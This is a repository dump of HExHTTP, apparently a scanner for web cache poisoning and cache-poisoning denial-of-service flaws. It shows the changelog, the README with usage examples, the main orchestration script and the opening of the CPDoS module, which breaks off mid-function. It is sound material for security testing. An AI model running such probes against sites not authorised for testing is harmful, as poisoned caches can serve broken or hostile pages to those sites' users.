├── .github
└── FUNDING.yml
├── .gitignore
├── CHANGELOG.md
├── Dockerfile
├── LICENSE
├── README.md
├── docs
└── _media
│ ├── example_01.png
│ ├── example_02.png
│ └── logo-v1.png
├── hexhttp.py
├── logs
└── .gitkeep
├── modules
├── CPDoS.py
├── CVE.py
├── cookie_reflection.py
├── cp_check
│ └── cache_poisoning_nf_files.py
├── cp_cve
│ ├── CVE201919326.py
│ ├── CVE20235256.py
│ ├── CVE202446982.py
│ ├── CVE202447374.py
│ ├── CVE202527415.py
│ └── CVE202529927.py
├── cpdos
│ ├── basic_cpdos.py
│ ├── hbh.py
│ ├── hhcn.py
│ ├── hho.py
│ ├── hmc.py
│ ├── hmo.py
│ ├── multiple_headers.py
│ ├── path_traversal.py
│ └── waf_rules.py
├── header_checks
│ ├── check_localhost.py
│ ├── http_version.py
│ ├── methods.py
│ └── vhosts.py
├── lists
│ ├── __init__.py
│ ├── all_payload_keys.py
│ ├── lowercase-headers.lst
│ ├── mobile-user-agent.lst
│ ├── paraminer-wordlist.lst
│ └── payloads_errors.py
├── logging_config.py
├── server_error.py
├── technologies.py
├── technos
│ ├── akamai.py
│ ├── apache.py
│ ├── cloudflare.py
│ ├── envoy.py
│ ├── fastly.py
│ ├── imperva.py
│ ├── nginx.py
│ └── vercel.py
└── utils.py
├── requirements.txt
├── setup.py
├── static
├── banner.py
├── version.py
└── vuln_notify.py
└── tools
└── autopoisoner
├── LICENSE.md
├── autopoisoner.py
├── headerfuzz.py
└── print_utils.py
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | # These are supported funding model platforms
2 |
3 | github: c0dejump
4 | custom: "https://paypal.me/c0dejump"
5 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | .py3
2 | __pycache__
3 | *.txt
4 | todo.md
5 | dev/
6 | logs/*.log
7 |
--------------------------------------------------------------------------------
/CHANGELOG.md:
--------------------------------------------------------------------------------
1 | Changelog:
2 | ----------
3 |
4 | - 1.8
5 | ---------
6 | News
7 | - New cve module to check Next.js CPDoS Zhero research (CVE-2025-29927)
8 | - New module to check cache poisoning via path traversal (Thanks to 0xrth !)
9 | - Proxy features (-p option)
10 | Updated:
11 | - News payloads
12 | - Fixed bugs/FP
13 | - Linting
14 | - requirement.txt
15 | ---------
16 |
17 | - 1.7.6
18 | ---------
19 | News
20 | - Check your HExHTTP version
21 | - New cve module to check Nuxt.js CPDoS Zhero research (CVE-2025-27415)
22 | Updated:
23 | - News payloads (headers, methods and http version)
24 | - Fixed bugs/FP
25 | - Linting
26 | ---------
27 |
28 |
29 | - 1.7.5
30 | ---------
31 | News
32 | - Add a folder/check containing more-less well-known CVEs linked to headers or cache
33 | - Add proxy feature [In Progress]
34 | Updated:
35 | - News payloads (~1k)
36 | - Fixed bugs/FP
37 | - Linting
38 | ---------
39 |
40 |
41 | - 1.7.4
42 | ---------
43 | News:
44 | - New cve module to check Nextjs cache poisoning Zhero research
45 | Updated:
46 | - Reduce FP
47 | - Change "CACHE" by "CACHETAG" to avoid confusion
48 | - Clean-up and remodeling of module file/folder architecture
49 | - cache_poisoining_file => cache_poisoining__nf_file: total reconstruction of the module, to check on source files (js/css) that do not exist whether it is possible to inject text into the header or body and cache it
50 |
51 | ---------
52 |
53 | - 1.7.3
54 | ---------
55 | News:
56 | - Sponsors button
57 | Updated:
58 | - News payloads and fix on HMO modules (~800)
59 | - Fixed issues
60 |
61 | ---------
62 |
63 | - 1.7.2
64 | ---------
65 | News:
66 | - New module for "human" scan, personal timesleep or random (0-5s) to each requests
67 | Updated:
68 | - News payloads
69 | - Rename module modules/cpdos/cache_error.py -> modules/cpdos/basic_cpdos.py
70 |
71 | ---------
72 |
73 | - 1.7.1
74 | ---------
75 | News:
76 | - New module for multiple headers cache error based on @0xrth observations (mutliple_headers.py)
77 | - New file __init__.py in lists directory to add functionality to load payloads from files
78 | Updated:
79 | - commenting on the notification (notify-py)
80 | - News payloads
81 | - Linting
82 | - Fixed bugs
83 | ---------
84 |
85 |
86 | - 1.7
87 | ---------
88 | News:
89 | - Logging management
90 | - Error logs management
91 | Updated:
92 | - ANSI banner at startup
93 | - Fixed bugs
94 | - Cache tag color
95 | - Big linting and refactoring
96 | - News payloads
97 |
98 | ---------
99 |
100 | - 1.6.3
101 | ---------
102 | Updated:
103 | - News payload error endpoints (+600)
104 | - Fixed errors and FP
105 | - big start of refacto/lint from @Kharaone
106 | ---------
107 |
108 | - 1.6.2
109 | ---------
110 | Updated:
111 | - News payload error endpoints (+500)
112 | - CPDoS live tracking
113 | - Fixed and reducted FP
114 | ---------
115 |
116 | - 1.6.1
117 | ---------
118 | Updated:
119 | - News payload error endpoints (+400)
120 | ---------
121 |
122 | - 1.6
123 | ---------
124 | Updated:
125 | - New file "payloads_errors.py" which lets you directly add payloads for CPDoS, and currently offers more than 200 payloads with various technologies
126 | - Check js/css url during the CPDoS check
127 | - Reduct FP
128 | ---------
129 |
130 |
131 | - 1.5.9
132 | ---------
133 | Updated:
134 | - Fix hho & hmo modules
135 | - update README screenshot
136 | - Reduct FP
137 | ---------
138 |
139 | - 1.5.8
140 | ---------
141 | Updated:
142 | - News endpoints for CPDoS
143 | - fixed any bugs (cookie problems)
144 | - Updated Akamai tests
145 | Deleted:
146 | - range_check.py (directly in cache_error tests)
147 | ---------
148 |
149 | - 1.5.7
150 | ---------
151 | Updated:
152 | - News endpoints for CPDoS
153 | - fixed any bugs
154 | - New banner
155 | ---------
156 |
157 | - 1.5.6
158 | ---------
159 | Updated:
160 | - News endpoints based on https://zhero-web-sec.github.io/research-and-things/nextjs-and-cache-poisoning-a-quest-for-the-black-hole
161 | - Updated CPDoS with different response size
162 | ---------
163 |
164 | - 1.5.5
165 | ---------
166 | Updated:
167 | - New endpoints on cache_error.py
168 | - Fix display bugs
169 | News:
170 | - Vercel tests
171 | ---------
172 |
173 | - 1.5.4
174 | ---------
175 | Updated:
176 | - New endpoints on headerfuzz, HMO, HMC & HMO module
177 | - Fix of header argument missing in some functions
178 | - Fix on CPDoS module, deleted old tests, reduce FP
179 | ---------
180 |
181 | - 1.5.3
182 | ---------
183 | Updated:
184 | - all file's imports for code optimization
185 | - short description for vulnerabilities and link reference
186 | - minors bug fix
187 | New:
188 | - modules/utils.py file for code optimization
189 | ---------
190 |
191 | - 1.5.2
192 | ---------
193 | Updated:
194 | - Add check on Akamai module
195 | - fix hbh fp
196 | ---------
197 |
198 | - 1.5.1
199 | ---------
200 | Updated:
201 | - Rename of folder for differents lists
202 | - Fix of readme versioning
203 | New :
204 | - Hop-By-Hop check for CP-DoS
205 | - New list for testing HTTP Headers
206 | Deleted :
207 | - broken github workflow for pypi package, need re-verify
208 | ---------
209 |
210 | - 1.5
211 | ---------
212 | Updated:
213 | - Try to reduce fp numbers
214 | - Adding multiple endpoints in cache_error + headerfuzz + method module
215 | - Fixing some display bugs
216 | ---------
217 |
218 | - 1.4.1
219 | ---------
220 | New files:
221 | - modules/UAmobile.py # Change brought about by mobile user-agent
222 | - modules/user-agent/mobile-user-agent.lst
223 | - modules/cpdos/cache_error.py # HTTP response error cached check
224 | - modules/technos/vercel.py
225 | - CHANGELOG.md
226 | Deleted:
227 | - modules/cpdos/refererdos.py #Replace by cache_error.py
228 | ---------
229 |
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.11-alpine
2 |
3 | WORKDIR /hexhttp/
4 | ADD . /hexhttp/
5 |
6 | RUN pip install -r requirements.txt
7 | RUN chmod +x hexhttp.py
8 |
9 | ENTRYPOINT ["/hexhttp/hexhttp.py"]
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2024 c0dejump
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # HExHTTP
2 |
3 | 
4 |
5 | > HExHTTP is a tool designed to perform tests on HTTP headers and analyze the results to identify vulnerabilities and interesting behaviors.
6 |
7 |
8 |

9 |

10 |
11 |
12 | ## Installation
13 |
14 |
15 | Follow these steps to install **HExHTTP**:
16 |
17 | 1. **Clone the repository** to your local machine:
18 | ```bash
19 | git clone https://github.com/c0dejump/HExHTTP.git
20 | ```
21 | 2. **Change Directory**
22 | ```bash
23 | cd HExHTTP
24 | ```
25 | 3. **Install** the required dependencies:
26 | ```bash
27 | pip install -r requirements.txt
28 | ```
29 | 4. **Ensure HExHTTP** is running correctly:
30 | ```bash
31 | ./hexhttp.py -u 'https://target.tld/'
32 | # OR
33 | python3 hexhttp.py -u 'https://target.tld/'
34 | ```
35 |
36 | Or you can do ```pip install hexhttp```
37 |
38 | For More Advanced use, Check [Usage](#usage) section below.
39 |
40 | ### Docker
41 |
42 | ```bash
43 | docker build -t hexhttp:latest .
44 | docker run --rm -it --net=host -v "$PWD:/hexhttp/" hexhttp:latest -u 'https://target.tld/'
45 | ```
46 |
47 | ## Usage
48 |
49 | ```bash
50 | Usage: hexhttp.py [-h] [-u URL] [-f URL_FILE] [-H CUSTOM_HEADER] [-A USER_AGENT] [-F] [-a AUTH] [-b] [-hu HUMANS] [-t THREADS] [-l LOG] [-L LOG_FILE] [-v] [-p CUSTOM_PROXY]
51 |
52 | HExHTTP is a tool designed to perform tests on HTTP headers.
53 |
54 | options:
55 | -h, --help show this help message and exit
56 | -u, --url URL URL to test [required]
57 | -f, --file URL_FILE File of URLs
58 | -H, --header CUSTOM_HEADER
59 | Add a custom HTTP Header
60 | -A, --user-agent USER_AGENT
61 | Add a custom User Agent
62 | -F, --full Display the full HTTP Header
63 | -a, --auth AUTH Add an HTTP authentication. Ex: --auth admin:admin
64 | -b, --behavior Activates a simplified version of verbose, highlighting interesting cache behaviors
65 | -hu, --humans HUMANS Performs a timesleep to reproduce human behavior (Default: 0s) value: 'r' or 'random'
66 | -t, --threads THREADS
67 | Threads numbers for multiple URLs. Default: 10
68 | -l, --log LOG Set the logging level (DEBUG, INFO, WARNING, ERROR, CRITICAL)
69 | -L, --log-file LOG_FILE
70 | The file path pattern for the log file. Default: logs/
71 | -v, --verbose Increase verbosity (can be used multiple times)
72 | -p, --proxy CUSTOM_PROXY
73 | Add a custom proxy. Ex: http://127.0.0.1:8080
74 |
75 | ```
76 |
77 | ### Arguments
78 |
79 | ```bash
80 | # Scan only one domain
81 | » ./hexhttp.py -u 'https://target.tld/'
82 |
83 | # Scan a list of domains with behavior feature
84 | » ./hexhttp.py -b -f domains.lst
85 |
86 | # if the application is very sensitive (waf or not)
87 | » ./hexhttp.py -u 'https://target.tld/' -hu r
88 |
89 | # Add custom User-Agent
90 | » ./hexhttp.py -u 'https://target.tld/' --user-agent "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) Firefox/123.0-BugBounty"
91 |
92 | # Use a custom Header and authentication
93 | » ./hexhttp.py --header 'Foo: bar' --auth 'user:passwd' -u 'https://target.tld/'
94 |
95 | # Loop on domains, grep for vulnerabilities only and send result with notify (from projectdiscovery)
96 | » for domain in $(cat domains.lst); do ./hexhttp.py -u "$domain" | grep -Eio "(INTERESTING|CONFIRMED)(.*)PAYLOAD.?:(.*){5,20}$" | notify -silent; done
97 |
98 | ```
99 |
100 | ## Examples
101 |
102 | ### Example on a public target
103 | 
104 |
105 | ### Example with a confirmed Cache Poisoning vulnerability
106 | You can test this tool on the Web Security Academy's vulnerable labs, like [Web cache poisoning with an unkeyed header](https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header). The expected result should be the same as below.
107 |
108 | 
109 |
110 | ## Features
111 |
112 | - Server Error response checking
113 | - Localhost header response analysis
114 | - Vhosts checking
115 | - Methods response analysis
116 | - HTTP Version analysis **[Experimental]**
117 | - Cache Poisoning DoS (CPDoS) techniques
118 | - Web cache poisoning
119 | - HTTP type CVE checking
120 | - Cookie Reflection
121 | - CDN/proxies Analysis (Envoy/Apache/Akamai/Nginx) **[WIP]**
122 |
123 | ## TODO
124 |
125 | - [ ] Filter False Positive on WAF blocking [WIP]
126 | - [ ] Code Linting & Optimization [WIP]
127 | - [ ] Human scan (rate limiting + timeout randomization ) [WIP] -- works but cleaning, linting etc...
128 | - [ ] Parameter Cloacking
129 | - [ ] Try with mobile user-agent
130 | - [ ] Tests Bed for regression testing
131 | - [ ] Different Output formats (eg, JSON, JSONL, TXT)
132 |
133 | ### Based on
134 | - [YWH HTTP Header Exploitation](https://blog.yeswehack.com/yeswerhackers/http-header-exploitation/)
135 | - [Cache Poisoning at Scale](https://youst.in/posts/cache-poisoning-at-scale/)
136 | - [abusing http hop-by-hop request headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)
137 | - [Web Cache Entanglement: Novel Pathways to Poisoning](https://portswigger.net/research/web-cache-entanglement)
138 | - [Practical Web Cache Poisoning](https://portswigger.net/research/practical-web-cache-poisoning)
139 | - [Exploiting cache design flaws](https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws)
140 | - [Responsible denial of service with web cache poisoning](https://portswigger.net/research/responsible-denial-of-service-with-web-cache-poisoning)
141 | - [CPDoS.org](https://cpdos.org/)
142 | - [Autopoisoner](https://github.com/Th0h0/autopoisoner)
143 | - [Rachid.A research](https://zhero-web-sec.github.io/research-and-things/)
144 |
145 | ## Contributing
146 |
147 | Pull requests are welcome. Feel free to contribute to this tool and make improvements!
--------------------------------------------------------------------------------
/docs/_media/example_01.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/c0dejump/HExHTTP/b2c9dc39b79c5569a12a8d30bc6d9651c0ce0ef5/docs/_media/example_01.png
--------------------------------------------------------------------------------
/docs/_media/example_02.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/c0dejump/HExHTTP/b2c9dc39b79c5569a12a8d30bc6d9651c0ce0ef5/docs/_media/example_02.png
--------------------------------------------------------------------------------
/docs/_media/logo-v1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/c0dejump/HExHTTP/b2c9dc39b79c5569a12a8d30bc6d9651c0ce0ef5/docs/_media/logo-v1.png
--------------------------------------------------------------------------------
/hexhttp.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | import sys
4 | import argparse
5 | import re
6 |
7 | from modules.utils import *
8 |
9 | #header checks
10 | from modules.header_checks.check_localhost import check_localhost
11 | from modules.header_checks.methods import check_methods
12 | from modules.header_checks.http_version import check_http_version
13 | from modules.header_checks.vhosts import check_vhost
14 |
15 | #cp & cpdos
16 | from modules.cp_check.cache_poisoning_nf_files import check_cache_files
17 | from modules.cp_cve.CVE202446982 import datareq_check
18 | from modules.CPDoS import check_CPDoS
19 | from modules.CVE import check_cpcve
20 | from tools.autopoisoner.autopoisoner import check_cache_poisoning
21 |
22 | #others
23 | from modules.logging_config import valid_log_level, configure_logging
24 | from modules.server_error import get_server_error
25 | from modules.technologies import technology
26 | from modules.cookie_reflection import check_cookie_reflection
27 |
28 |
29 | if sys.version_info[0] < 3:
30 | from Queue import Queue
31 | else:
32 | import queue as Queue
33 |
34 | import threading
35 | from threading import Thread
36 |
37 | from static.banner import print_banner
38 |
39 | try:
40 | enclosure_queue = Queue()
41 | except:
42 | enclosure_queue = Queue.Queue()
43 |
44 | # DEBUG completed_tasks = 0
45 | # DEBUG lock = threading.Lock()
46 |
47 |
48 | def args():
49 | """
50 | Parses command-line arguments and returns them.
51 |
52 | This function uses argparse to define and parse command-line arguments for the script.
53 | It includes options for specifying a URL, a file of URLs, custom HTTP headers, user agents,
54 | authentication, verbosity, logging, and threading.
55 |
56 | Returns:
57 | argparse.Namespace: Parsed command-line arguments.
58 |
59 | Arguments:
60 | -u, --url (str): URL to test [required].
61 | -f, --file (str): File of URLs.
62 | -H, --header (str): Add a custom HTTP Header.
63 | -A, --user-agent (str): Add a custom User Agent.
64 | -a, --auth (str): Add an HTTP authentication. Ex: --auth admin:admin.
65 | -b, --behavior (bool): Activates a simplified version of verbose,
66 | highlighting interesting cache behaviors.
67 | -t, --threads (int): Threads numbers for multiple URLs. Default: 10.
68 | -l, --log (str): Set the logging level (DEBUG, INFO, WARNING, ERROR, CRITICAL).
69 | Default: WARNING.
70 | -L, --log-file (str): The file path pattern for the log file.
71 | Default: ./logs/%Y%m%d_%H%M.log.
72 | -v, --verbose (int): Increase verbosity (can be used multiple times).
73 |
74 | If no argument is provided, the function will print the help message and exit.
75 | """
76 | parser = argparse.ArgumentParser(description=print_banner())
77 |
78 | parser.add_argument(
79 | "-u", "--url", dest="url", help="URL to test \033[31m[required]\033[0m"
80 | )
81 | parser.add_argument(
82 | "-f", "--file", dest="url_file", help="File of URLs", required=False
83 | )
84 | parser.add_argument(
85 | "-H",
86 | "--header",
87 | dest="custom_header",
88 | help="Add a custom HTTP Header",
89 | required=False,
90 | )
91 | parser.add_argument(
92 | "-A",
93 | "--user-agent",
94 | dest="user_agent",
95 | help="Add a custom User Agent",
96 | required=False,
97 | )
98 | parser.add_argument(
99 | "-a",
100 | "--auth",
101 | dest="auth",
102 | help="Add an HTTP authentication. \033[33mEx: --auth admin:admin\033[0m",
103 | required=False,
104 | )
105 | parser.add_argument(
106 | "-b",
107 | "--behavior",
108 | dest="behavior",
109 | help="Activates a simplified version of verbose, highlighting interesting cache behaviors",
110 | required=False,
111 | action="store_true",
112 | )
113 | parser.add_argument(
114 | "-hu",
115 | "--humans",
116 | dest="humans",
117 | help="Performs a timesleep to reproduce human behavior (Default: 0s) value: 'r' or 'random'",
118 | default="0",
119 | required=False,
120 | )
121 | parser.add_argument(
122 | "-t",
123 | "--threads",
124 | dest="threads",
125 | help="Threads numbers for multiple URLs. \033[32mDefault: 10\033[0m",
126 | type=int,
127 | default=10,
128 | required=False,
129 | )
130 | parser.add_argument(
131 | "-l",
132 | "--log",
133 | type=valid_log_level,
134 | default="WARNING",
135 | help="Set the logging level (DEBUG, INFO, WARNING, ERROR, CRITICAL)",
136 | )
137 | parser.add_argument(
138 | "-L",
139 | "--log-file",
140 | dest="log_file",
141 | default="./logs/%Y%m%d_%H%M.log",
142 | help="The file path pattern for the log file. \033[32mDefault: logs/\033[0m",
143 | required=False,
144 | )
145 | parser.add_argument(
146 | "-v",
147 | "--verbose",
148 | action="count",
149 | default=0,
150 | help="Increase verbosity (can be used multiple times)",
151 | )
152 | parser.add_argument(
153 | "-p",
154 | "--proxy",
155 | dest="custom_proxy",
156 | help="Add a custom proxy. Ex: http://127.0.0.1:8080 [In Progress]",
157 | required=False,
158 | )
159 |
160 | if len(sys.argv) == 1:
161 | parser.print_help(sys.stderr)
162 | sys.exit(1)
163 |
164 | return parser.parse_args()
165 |
166 |
167 | def get_technos(a_tech, req_main, url, s):
168 | """
169 | Check what is the reverse proxy/WAF/cached server... and test based on the result.
170 | #TODO Cloudfoundry => https://hackerone.com/reports/728664
171 | """
172 | print("\033[36m ├ Techno analysis\033[0m")
173 | technos = {
174 | "apache": ["apache", "tomcat"],
175 | "nginx": ["nginx"],
176 | "envoy": ["envoy"],
177 | "akamai": ["akamai", "x-akamai", "x-akamai-transformed", "akamaighost"],
178 | "imperva": ["imperva"],
179 | "fastly": ["fastly"],
180 | "cloudflare": ["cf-ray", "cloudflare", "cf-cache-status", "cf-ray"],
181 | "vercel": ["vercel"],
182 | # "cloudfoundry": ["cf-app"]
183 | }
184 |
185 | for t in technos:
186 | tech_hit = False
187 | for v in technos[t]:
188 | for rt in req_main.headers:
189 | # case-insensitive comparison
190 | if (
191 | v.lower() in req_main.text.lower()
192 | or v.lower() in req_main.headers[rt].lower()
193 | or v.lower() in rt.lower()
194 | ):
195 | tech_hit = t
196 | if tech_hit:
197 | techno_result = getattr(a_tech, tech_hit)(url, s)
198 | tech_hit = False
199 |
200 |
201 | def fuzz_x_header(url):
202 | """
203 | When fuzzing for custom X-Headers on a target, a setup example as below can be combined with a dictionary/bruteforce attack. This makes it possible to extract hidden headers that the target uses.
204 | X-Forwarded-{FUZZ}
205 | X-Original-{FUZZ}
206 | X-{COMPANY_NAME}-{FUZZ}
207 | (https://blog.yeswehack.com/yeswerhackers/http-header-exploitation/)
208 | #TODO
209 | """
210 | pass
211 |
212 |
213 | def check_cachetag_header(url, req_main):
214 | print("\n\033[36m ├ Header cache tags\033[0m")
215 | # basic_header = ["Content-Type", "Content-Length", "Date", "Content-Security-Policy", "Alt-Svc", "Etag", "Referrer-Policy", "X-Dns-Prefetch-Control", "X-Permitted-Cross-Domain-Policies"]
216 |
217 | result = []
218 | for headi in base_header:
219 | if "cache" in headi or "Cache" in headi:
220 | result.append(f"{headi.split(':')[0]}:{headi.split(':')[1]}")
221 | for vary in base_header:
222 | if "Vary" in vary:
223 | result.append(f"{vary.split(':')[0]}:{vary.split(':')[1]}")
224 | for age in base_header:
225 | if age == "age" or age == "Age":
226 | result.append(f"{age.split(':')[0]}:{age.split(':')[1]}")
227 | for get_custom_header in base_header:
228 | if "Access" in get_custom_header:
229 | result.append(
230 | f"{get_custom_header.split(':')[0]}:{get_custom_header.split(':')[1]}"
231 | )
232 | for get_custom_host in base_header:
233 | if "host" in get_custom_header:
234 | result.append(
235 | f"{get_custom_host.split(':')[0]}:{get_custom_host.split(':')[1]}"
236 | )
237 | for r in result:
238 | print(f" └── {r:<30}")
239 |
240 |
241 | def check_auth(auth, url):
242 | try:
243 | authent = (auth.split(":")[0], auth.split(":")[1])
244 | r = requests.get(
245 | url, allow_redirects=False, verify=False, auth=authent, timeout=10
246 | )
247 | if r.status_code in [200, 302, 301]:
248 | print("\n+ Authentication successfull\n")
249 | return authent
250 | else:
251 | print("\nAuthentication error")
252 | continue_error = input(
253 | "The authentication seems bad, continue ? [y/N]"
254 | )
255 | if continue_error not in ["y", "Y"]:
256 | print("Exiting")
257 | sys.exit()
258 | except Exception as e:
259 | traceback.print_exc()
260 | print('Error, the authentication format need to be "user:pass"')
261 | sys.exit()
262 |
263 |
264 |
265 | def process_modules(url, s, a_tech):
266 | domain = get_domain_from_url(url)
267 |
268 | try:
269 | req_main = s.get(
270 | url, verify=False, allow_redirects=False, timeout=10, auth=authent
271 | )
272 |
273 | print("\033[34m⟙\033[0m")
274 | print(f" URL: {url}")
275 | print(f" URL response: {req_main.status_code}")
276 | print(f" URL response size: {len(req_main.content)} bytes")
277 | print("\033[34m⟘\033[0m")
278 | if req_main.status_code not in [200, 302, 301, 403, 401] and not url_file:
279 | choice = input(
280 | " \033[33mThe url does not seem to answer correctly, continue anyway ?\033[0m [y/n]"
281 | )
282 | if choice not in ["y", "Y"]:
283 | sys.exit()
284 | for k in req_main.headers:
285 | base_header.append(f"{k}: {req_main.headers[k]}")
286 |
287 | check_cachetag_header(url, req_main)
288 | get_server_error(url, base_header, authent, url_file)
289 | check_vhost(domain, url)
290 | check_localhost(url, s, domain, authent)
291 | check_methods(url, custom_header, authent)
292 | check_http_version(url)
293 | check_CPDoS(url, s, req_main, domain, custom_header, authent, human)
294 | check_cpcve(url, s, req_main, domain, custom_header, authent, human)
295 | check_cache_poisoning(url, custom_header, behavior, authent, human)
296 | check_cache_files(url, s, custom_header, authent) #TOREDO
297 | check_cookie_reflection(url, custom_header, authent)
298 | techno = get_technos(a_tech, req_main, url, s)
299 | #fuzz_x_header(url) #TODO
300 | except requests.exceptions.RequestException as e:
301 | print(f"Error: {e}")
302 | pass
303 | # print(f"Error in processing {url}: {e}")
304 |
305 |
306 | def main(urli, s, auth):
307 | global base_header
308 | global authent
309 | base_header = []
310 |
311 | # DEBUG global completed_tasks
312 |
313 | a_tech = technology()
314 |
315 | if auth:
316 | authent = check_auth(auth, urli)
317 | else:
318 | authent = False
319 |
320 | if url_file and threads != 1337:
321 | try:
322 | while not urli.empty():
323 | q = urli
324 |
325 | url = urli.get()
326 | process_modules(url, s, a_tech)
327 | # with lock: #Debug
328 | # completed_tasks += 1
329 | # print(f"completed tasks : {completed_tasks}")
330 | q.task_done()
331 | except KeyboardInterrupt:
332 | print(" ! Canceled by keyboard interrupt (Ctrl-C)")
333 | q.task_done()
334 | sys.exit()
335 | except Exception as e:
336 | pass
337 | # print(f"Error : {e}")
338 | q.task_done()
339 | elif url_file and threads == 1337:
340 | try:
341 | process_modules(urli, s, a_tech)
342 | except KeyboardInterrupt:
343 | print(" ! Canceled by keyboard interrupt (Ctrl-C)")
344 | sys.exit()
345 | except Exception as e:
346 | print(f"Error : {e}")
347 | else:
348 | try:
349 | process_modules(urli, s, a_tech)
350 | except KeyboardInterrupt:
351 | print(" ! Canceled by keyboard interrupt (Ctrl-C)")
352 | sys.exit()
353 | except Exception as e:
354 | print(f"Error : {e}")
355 |
356 |
357 | if __name__ == "__main__":
358 | # Parse arguments
359 | results = args()
360 |
361 | url = results.url
362 | url_file = results.url_file
363 | custom_header = results.custom_header
364 | behavior = results.behavior
365 | auth = results.auth
366 | user_agent = results.user_agent
367 | threads = results.threads
368 | humans = results.humans
369 | proxy = results.custom_proxy
370 |
371 | configure_logging(results.verbose, results.log, results.log_file)
372 |
373 | global human
374 |
375 | human = humans
376 |
377 | try:
378 | s = requests.Session()
379 | if user_agent:
380 | s.headers.update({"User-agent": user_agent})
381 | else:
382 | s.headers.update(
383 | {
384 | "User-agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko",
385 | #"Accept": "html",
386 | "Accept-Encoding": "gzip"
387 | }
388 | )
389 |
390 | if custom_header:
391 | try:
392 | custom_header = custom_header.replace(" ", "")
393 | custom_header = {
394 | custom_header.split(":")[0]: custom_header.split(":")[1]
395 | }
396 | s.headers.update(custom_header)
397 | except Exception as e:
398 | print(e)
399 | print('Error, HTTP Header format need to be "foo:bar"')
400 | sys.exit()
401 | if proxy:
402 | proxies = {
403 | 'https': proxy,
404 | }
405 | s.proxies.update(proxies)
406 |
407 | s.max_redirects = 60
408 |
409 | if url_file and threads != 1337:
410 | with open(url_file, "r") as urls:
411 | urls = urls.read().splitlines()
412 | try:
413 | for url in urls:
414 | enclosure_queue.put(url)
415 | for i in range(threads):
416 | worker = Thread(target=main, args=(enclosure_queue, s, auth))
417 | worker.start()
418 | enclosure_queue.join()
419 | for thread in threads:
420 | thread.join()
421 | except KeyboardInterrupt:
422 | print("Exiting")
423 | sys.exit()
424 | except FileNotFoundError:
425 | print("Input file not found")
426 | sys.exit()
427 | except Exception as e:
428 | print(f"Error : {e}")
429 | print("Scan finish")
430 | elif url_file and threads == 1337:
431 | with open(url_file, "r") as urls:
432 | urls = urls.read().splitlines()
433 | for url in urls:
434 | main(url, s, auth)
435 | else:
436 | main(url, s, auth)
437 | # basic errors
438 | except KeyboardInterrupt:
439 | print("Exiting")
440 | sys.exit()
441 | # requests errors
442 | except requests.ConnectionError:
443 | print("Error, cannot connect to target")
444 | except requests.Timeout:
445 | print("Error, request timeout (10s)")
446 | except requests.exceptions.MissingSchema:
447 | print("Error, missing http:// or https:// schema")
448 | except Exception as e:
449 | print(f"Error : {e}")
450 | print("")
451 | # print("Scan finish")
452 |
--------------------------------------------------------------------------------
/logs/.gitkeep:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/c0dejump/HExHTTP/b2c9dc39b79c5569a12a8d30bc6d9651c0ce0ef5/logs/.gitkeep
--------------------------------------------------------------------------------
/modules/CPDoS.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | from modules.utils import random, re, sys, configure_logger
5 | from modules.cpdos.basic_cpdos import cpdos_main
6 | from modules.cpdos.waf_rules import waf_rules
7 | from modules.cpdos.hho import HHO
8 | from modules.cpdos.hmc import HMC
9 | from modules.cpdos.hmo import HMO
10 | from modules.cpdos.hhcn import HHCN
11 | from modules.cpdos.hbh import HBH
12 | from modules.cpdos.multiple_headers import MHC
13 | from modules.cpdos.path_traversal import path_traversal_check
14 |
15 | from modules.utils import random, re, sys, configure_logger
16 |
17 | logger = configure_logger(__name__)
18 |
19 |
20 | def crawl_files(url, s, req_main, domain, custom_header, authent, human):
21 | try:
22 | regexp1 = r'(?<=src=")(\/[^\/].+?\.(js|css|html|svg))(?=")'
23 | regexp2 = r'(?<=href=")(\/[^\/].+?\.(js|css|html|svg))(?=")'
24 | #regexp3 = r'(?<=src=")(\/[^\/].+?)(?=")'
25 | #regexp4 = r'(?<=href=")(\/[^\/].+?)(?=")'
26 |
27 | responseText = req_main.text
28 |
29 | filesURL = re.findall(regexp1, responseText)
30 | filesURL += re.findall(regexp2, responseText)
31 | #filesURL = re.findall(regexp3, responseText)
32 | #filesURL += re.findall(regexp4, responseText)
33 |
34 | for fu in filesURL:
35 | if "<" not in fu[0]:
36 | if len(url.split("/")) > 4:
